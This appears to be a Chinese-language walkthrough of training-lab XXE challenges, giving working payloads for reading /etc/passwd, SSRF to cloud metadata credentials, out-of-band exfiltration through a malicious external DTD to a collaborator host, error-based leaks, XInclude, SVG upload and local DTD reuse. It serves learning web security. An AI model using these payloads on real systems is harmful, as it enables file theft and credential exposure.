使用外部实体利用 XXE 来检索文件

image-20221207105545498

image-20221207105635585

这里发现一个 xml请求 简单测试下发现存在xxe

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>2</storeId>
</stockCheck>

image-20221207114318110

image-20221207114356508

利用 XXE 执行 SSRF 攻击

image-20221207114605824

跟上一关类似 只不过更换了协议

image-20221207115100609

image-20221207115115548

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>

image-20221207115205075

image-20221207115329356

带外交互的盲 XXE

image-20221207115834303

image-20221207120150364

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [ <!ENTITY xxe SYSTEM "http://ap33r37p2no79dvuxo4aqtg8azgp4e.burpcollaborator.net">]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>2</storeId>
</stockCheck>

image-20221207120156639

通过 XML 参数实体进行带外交互的盲 XXE

image-20221207123050791

当使用上一关的 payload时 出现不被允许的实体 也就是说外部实体是不被允许的 我们来尝试参数实体

xml实体的概念

https://blog.csdn.net/janchin/article/details/46849209

image-20221207123035446

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://zorino0qqxsyrp9vlnkm080bk2qvek.burpcollaborator.net"> %xxe;]>
<stockCheck>
<productId>1</productId>
<storeId>2</storeId>
</stockCheck>

image-20221207123458033

image-20221207123519631

利用盲 XXE 使用恶意外部 DTD 泄露数据

image-20221207132213538

放到攻击者主机并命名为 exploit.dtd

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://jf22e8rahhjii90fc7b6rsrvbmhg55.burpcollaborator.net/?x=%file;'>">

image-20221207132653504

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY % xxe SYSTEM "https://exploit-0a0b00ac03cd6d6ac12e101d011f00e2.exploit-server.net/exploit.dtd"> %xxe;%eval;%exfil;]>
<stockCheck>
<productId>1</productId>
<storeId>2</storeId>
</stockCheck>

简单解释一下 这里存在一个外部引用的 dtd文件 首先我们通过 %xxe; 获取到这个dtd文件并插入到适当的位置 接着引用%eval 去构造请求信息 首先通过%file 获取到了敏感文件 后拼接到url上面 接着执行%exfil 携带着 敏感文件去执行url请求

image-20221207133424962

image-20221207133443920

image-20221207133453614

利用盲 XXE 通过错误消息检索数据

image-20221207140802468

这里需要通过xml解析报错回显信息

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">

可见这里使用了外部dtd文件.其中的主要原因是 外部dtd允许我们在第二个实体中包含一个实体,但是他在内部dtd中被禁止

image-20221207150359075

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0af800c904796803c0857c8c01b600c3.exploit-server.net/exploit.dtd"> %xxe;%eval;%exfil;]>
<stockCheck>
<productId>1</productId>
<storeId>2</storeId>
</stockCheck>

image-20221207150928396

image-20221207150935088

利用 XInclude 检索文件

image-20221207154342139

这里使用xinclude包含文件

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>

image-20221207154546084

image-20221207154604888

通过图像文件上传利用 XXE

image-20221207161318218

从原文中下载下来一个svg标签发现是xml文件格式

image-20221207161311946

我们这里尝试上传一个xml文件

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg"
version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>

image-20221207162101592

image-20221207162159961

image-20221207162219415

通过重新利用本地 DTD,利用 XXE 检索数据

image-20221207171032514

由第6关的思路我们可以通过外链 dtd文件去包含 我们的实体代码. 但是本关不能访问外链,因此我们需要利用系统内部的dtd文件去构造类似的请求

<?xml version="1.0" ?>
<!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">
<!ENTITY % condition 'aaa)>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd; ]>
<message>any text</message>

sip-app_1_0.dtd 中的内容


<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of"> <!ELEMENT pattern (%condition;)>

可以看到 首先我们通过引用condition 将我们外面的文件内容添加到了 sip-app_1_0.dtd 之中,也就可以使用 内部实体

image-20221207175744179

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
<stockCheck><productId>2</productId><storeId>1</storeId></stockCheck>

image-20221207180451242